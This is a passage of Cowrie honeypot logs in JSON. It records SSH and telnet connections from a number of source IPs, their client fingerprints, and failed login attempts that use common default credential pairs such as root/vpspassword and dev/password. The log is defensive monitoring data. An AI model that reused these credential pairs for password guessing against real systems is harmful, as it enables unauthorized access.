56","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:38:36.321708Z","src_ip":"14.225.205.58","session":"6d4dd38ea272","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"123123","message":"login attempt [deployer/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:38:37.425582Z","src_ip":"14.225.205.58","session":"6d4dd38ea272","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:38:38.695522Z","src_ip":"14.225.205.58","session":"6d4dd38ea272","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.184.50.251","src_port":40960,"dst_ip":"10.17.0.5","dst_port":22,"session":"60ec8641ec1b","protocol":"ssh","message":"New connection: 201.184.50.251:40960 (10.17.0.5:22) [session: 60ec8641ec1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:38:44.718376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:38:44.723169Z","src_ip":"201.184.50.251","session":"60ec8641ec1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:38:44.815612Z","src_ip":"201.184.50.251","session":"60ec8641ec1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345q","message":"login attempt [user/12345q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:38:45.213105Z","src_ip":"201.184.50.251","session":"60ec8641ec1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:38:46.307564Z","src_ip":"201.184.50.251","session":"60ec8641ec1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.45.69.73","src_port":52366,"dst_ip":"159.203.135.109","dst_port":23,"session":"43ca19789198","protocol":"telnet","message":"New connection: 5.45.69.73:52366 (159.203.135.109:23) [session: 43ca19789198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:38:55.199621Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.129.221.202","src_port":42242,"dst_ip":"10.17.0.5","dst_port":22,"session":"c91f755547e2","protocol":"ssh","message":"New connection: 103.129.221.202:42242 (10.17.0.5:22) [session: c91f755547e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:39:06.492106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:39:06.497394Z","src_ip":"103.129.221.202","session":"c91f755547e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:39:06.741525Z","src_ip":"103.129.221.202","session":"c91f755547e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vpspassword","message":"login attempt [root/vpspassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:39:07.749973Z","src_ip":"103.129.221.202","session":"c91f755547e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:39:08.997238Z","src_ip":"103.129.221.202","session":"c91f755547e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58226,"dst_ip":"159.203.135.109","dst_port":23,"session":"750657c9d23c","protocol":"telnet","message":"New connection: 69.6.196.124:58226 (159.203.135.109:23) [session: 750657c9d23c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:39:13.834103Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58230,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c2104baefe4","protocol":"telnet","message":"New connection: 69.6.196.124:58230 (159.203.135.109:23) [session: 6c2104baefe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:39:19.380461Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58238,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e01642c8647","protocol":"telnet","message":"New connection: 69.6.196.124:58238 (159.203.135.109:23) [session: 3e01642c8647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:39:19.612080Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":37726,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc5377421010","protocol":"telnet","message":"New connection: 69.6.196.124:37726 (159.203.135.109:23) [session: bc5377421010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:39:21.706703Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:39:32.838402Z","src_ip":"120.241.79.66","session":"df73532f2698","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":53670,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf7f3d544d52","protocol":"ssh","message":"New connection: 14.225.205.58:53670 (10.17.0.5:22) [session: bf7f3d544d52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:39:36.449788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:39:36.453912Z","src_ip":"14.225.205.58","session":"bf7f3d544d52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:39:36.785469Z","src_ip":"14.225.205.58","session":"bf7f3d544d52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user123456","message":"login attempt [user1/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:39:37.834860Z","src_ip":"14.225.205.58","session":"bf7f3d544d52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.184.50.251","src_port":57680,"dst_ip":"10.17.0.5","dst_port":22,"session":"120dd229feea","protocol":"ssh","message":"New connection: 201.184.50.251:57680 (10.17.0.5:22) [session: 120dd229feea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:39:37.859346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:39:37.864960Z","src_ip":"201.184.50.251","session":"120dd229feea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:39:37.960710Z","src_ip":"201.184.50.251","session":"120dd229feea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.63.62.103","src_port":34002,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6de2080326f","protocol":"ssh","message":"New connection: 41.63.62.103:34002 (10.17.0.5:22) [session: c6de2080326f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:39:38.319690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:39:38.324926Z","src_ip":"41.63.62.103","session":"c6de2080326f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"password","message":"login attempt [dev/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:39:38.361480Z","src_ip":"201.184.50.251","session":"120dd229feea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:39:38.592218Z","src_ip":"41.63.62.103","session":"c6de2080326f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:39:39.103241Z","src_ip":"14.225.205.58","session":"bf7f3d544d52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:39:39.457514Z","src_ip":"201.184.50.251","session":"120dd229feea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"qwerty","message":"login attempt [username/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:39:39.691715Z","src_ip":"41.63.62.103","session":"c6de2080326f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:39:40.961848Z","src_ip":"41.63.62.103","session":"c6de2080326f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.12364101409912,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:39:44.323136Z","src_ip":"5.45.69.73","session":"43ca19789198","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.683444499969482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:39:44.517438Z","src_ip":"69.6.196.124","session":"750657c9d23c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.872275590896606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:39:50.252625Z","src_ip":"69.6.196.124","session":"6c2104baefe4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68654203414917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:39:50.298393Z","src_ip":"69.6.196.124","session":"3e01642c8647","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.4151349067688,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:39:53.121720Z","src_ip":"69.6.196.124","session":"bc5377421010","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":52136,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b5c76238290","protocol":"ssh","message":"New connection: 103.13.206.100:52136 (10.17.0.5:22) [session: 1b5c76238290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:39:59.458941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:39:59.463943Z","src_ip":"103.13.206.100","session":"1b5c76238290","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:39:59.705802Z","src_ip":"103.13.206.100","session":"1b5c76238290","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arkserver","password":"12345","message":"login attempt [arkserver/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:40:00.728362Z","src_ip":"103.13.206.100","session":"1b5c76238290","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:40:02.089060Z","src_ip":"103.13.206.100","session":"1b5c76238290","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.184.50.251","src_port":46176,"dst_ip":"10.17.0.5","dst_port":22,"session":"916e47ba284d","protocol":"ssh","message":"New connection: 201.184.50.251:46176 (10.17.0.5:22) [session: 916e47ba284d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:40:32.328265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:40:32.332992Z","src_ip":"201.184.50.251","session":"916e47ba284d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:40:32.424382Z","src_ip":"201.184.50.251","session":"916e47ba284d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:40:32.819381Z","src_ip":"201.184.50.251","session":"916e47ba284d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:40:33.913745Z","src_ip":"201.184.50.251","session":"916e47ba284d","protocol":"ssh"}
